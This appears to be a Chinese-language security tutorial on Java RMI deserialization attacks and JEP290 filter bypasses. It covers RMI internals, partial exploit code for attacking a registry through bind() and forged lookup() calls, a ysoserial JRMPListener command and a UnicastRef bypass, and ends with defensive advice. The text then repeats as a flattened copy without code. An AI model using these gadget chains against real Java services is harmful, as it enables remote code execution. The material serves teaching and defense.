JAVA RMI 反序列化攻击 & JEP290 Bypass分析
字数 1560 2025-08-19 12:42:05

Java RMI 反序列化攻击与JEP290绕过分析

1. RMI基础概念

1.1 RPC与RMI

RPC(Remote Procedure Call)远程过程调用,允许像调用本地函数一样调用远程函数。RMI(Remote Method Invocation)是Java实现的RPC框架。

RPC演化流程:

  1. Client通过Stub类传递类名、方法名与参数信息给Server
  2. Server从本地注册表找到具体类
  3. 通过反射获取方法并执行
  4. 返回结果

1.2 Java代理模式

代理模式提供对目标对象额外的访问方式,分为:

静态代理

  • 代理对象和目标对象实现相同接口
  • 缺点:冗余、不易维护

动态代理

  • 利用反射动态构建代理对象
  • 要求目标对象必须实现接口
  • 核心类:InvocationHandlerProxy

2. RMI工作机制

2.1 RMI基本组件

  • 远程接口:继承java.rmi.Remote,方法抛出RemoteException
  • 远程对象实现:继承UnicastRemoteObject,实现远程接口
  • Registry:注册中心,管理远程对象引用
  • Stub/Skeleton:客户端代理和服务端骨架

2.2 RMI通信流程

  1. Server注册远程对象到Registry
  2. Client从Registry获取Stub
  3. Client通过Stub调用远程方法
  4. 参数序列化传输到Server
  5. Server反序列化参数并执行方法
  6. 结果序列化返回Client

2.3 JRMP协议

Java远程方法协议(JRMP)是RMI底层协议,运行在TCP/IP之上,负责远程对象查找和引用。

3. RMI反序列化攻击

3.1 攻击场景

1. 客户端/服务端攻击Registry

  • 通过bind()/rebind()传递恶意对象
  • 通过伪造请求攻击lookup()/unbind()

2. Registry攻击客户端/服务端

  • 恶意Registry返回恶意对象

3. 客户端攻击服务端

  • 传递恶意对象作为参数

4. 服务端攻击客户端

  • 返回恶意对象

3.2 攻击示例

通过bind()攻击Registry

// 构造CC链恶意对象
Transformer[] transformers = new Transformer[] {...};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 创建AnnotationInvocationHandler代理
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outerMap);
Remote proxy = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));

// 绑定恶意对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 3333);
registry.bind("evil", proxy);

通过伪造请求攻击lookup()

// 获取Registry的UnicastRef和operations
Field[] fields = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
UnicastRef ref = (UnicastRef)fields[0].get(registry);
Operation[] ops = (Operation[])registry.getClass().getDeclaredFields()[0].get(registry);

// 伪造lookup请求
RemoteCall call = ref.newCall((RemoteObject)registry, ops, 2, 4905912898345647071L);
ObjectOutput out = call.getOutputStream();
out.writeObject(proxy); // 写入恶意对象
ref.invoke(call);

4. JEP290机制与绕过

4.1 JEP290机制

  • 功能

    • 限制可反序列化的类(白名单/黑名单)
    • 限制反序列化深度和复杂度
    • 为RMI提供验证机制
    • 可配置过滤
  • 白名单
    String.class, Number.class, Remote.class, Proxy.class, UnicastRef.class

4.2 JEP290绕过(<=8u231)

UnicastRef绕过原理

  1. 构造包含JRMPListener地址的UnicastRef
  2. Registry反序列化时建立到JRMPListener的连接
  3. JRMPListener返回恶意对象
  4. 恶意对象在无过滤环境下被反序列化

绕过代码

// 启动恶意JRMPListener
// java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"

// 客户端代码
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(TestClient.class.getClassLoader(), 
                    new Class[]{Registry.class}, obj);
reg.bind("Hello", proxy);

4.3 JDK 8u231+的绕过

在8u231中,dirty函数增加了过滤机制。新绕过方式利用UnicastRemoteObject反序列化链。

5. 防御建议

  1. 升级JDK到最新版本
  2. 配置严格的对象过滤器
  3. 限制RMI服务网络访问
  4. 使用安全管理器
  5. 监控反序列化操作

6. 关键点总结

  1. RMI通信过程涉及多次序列化/反序列化
  2. 攻击面存在于Registry、Client和Server间的交互
  3. JEP290通过白名单限制反序列化类
  4. UnicastRef可绕过早期JEP290过滤
  5. 高版本JDK需要寻找新的利用链

7. 参考工具

  • ysoserial:生成反序列化payload
  • JRMPListener:恶意RMI服务端
  • RMI监控工具:分析RMI通信
Java RMI 反序列化攻击与JEP290绕过分析 1. RMI基础概念 1.1 RPC与RMI RPC(Remote Procedure Call)远程过程调用,允许像调用本地函数一样调用远程函数。RMI(Remote Method Invocation)是Java实现的RPC框架。 RPC演化流程: Client通过Stub类传递类名、方法名与参数信息给Server Server从本地注册表找到具体类 通过反射获取方法并执行 返回结果 1.2 Java代理模式 代理模式提供对目标对象额外的访问方式,分为: 静态代理 代理对象和目标对象实现相同接口 缺点:冗余、不易维护 动态代理 利用反射动态构建代理对象 要求目标对象必须实现接口 核心类: InvocationHandler 和 Proxy 2. RMI工作机制 2.1 RMI基本组件 远程接口 :继承 java.rmi.Remote ,方法抛出 RemoteException 远程对象实现 :继承 UnicastRemoteObject ,实现远程接口 Registry :注册中心,管理远程对象引用 Stub/Skeleton :客户端代理和服务端骨架 2.2 RMI通信流程 Server注册远程对象到Registry Client从Registry获取Stub Client通过Stub调用远程方法 参数序列化传输到Server Server反序列化参数并执行方法 结果序列化返回Client 2.3 JRMP协议 Java远程方法协议(JRMP)是RMI底层协议,运行在TCP/IP之上,负责远程对象查找和引用。 3. RMI反序列化攻击 3.1 攻击场景 1. 客户端/服务端攻击Registry 通过 bind() / rebind() 传递恶意对象 通过伪造请求攻击 lookup() / unbind() 2. Registry攻击客户端/服务端 恶意Registry返回恶意对象 3. 客户端攻击服务端 传递恶意对象作为参数 4. 服务端攻击客户端 返回恶意对象 3.2 攻击示例 通过bind()攻击Registry 通过伪造请求攻击lookup() 4. JEP290机制与绕过 4.1 JEP290机制 功能 : 限制可反序列化的类(白名单/黑名单) 限制反序列化深度和复杂度 为RMI提供验证机制 可配置过滤 白名单 : String.class , Number.class , Remote.class , Proxy.class , UnicastRef.class 等 4.2 JEP290绕过( <=8u231) UnicastRef绕过原理 构造包含JRMPListener地址的UnicastRef Registry反序列化时建立到JRMPListener的连接 JRMPListener返回恶意对象 恶意对象在无过滤环境下被反序列化 绕过代码 4.3 JDK 8u231+的绕过 在8u231中, dirty 函数增加了过滤机制。新绕过方式利用 UnicastRemoteObject 反序列化链。 5. 防御建议 升级JDK到最新版本 配置严格的对象过滤器 限制RMI服务网络访问 使用安全管理器 监控反序列化操作 6. 关键点总结 RMI通信过程涉及多次序列化/反序列化 攻击面存在于Registry、Client和Server间的交互 JEP290通过白名单限制反序列化类 UnicastRef可绕过早期JEP290过滤 高版本JDK需要寻找新的利用链 7. 参考工具 ysoserial:生成反序列化payload JRMPListener:恶意RMI服务端 RMI监控工具:分析RMI通信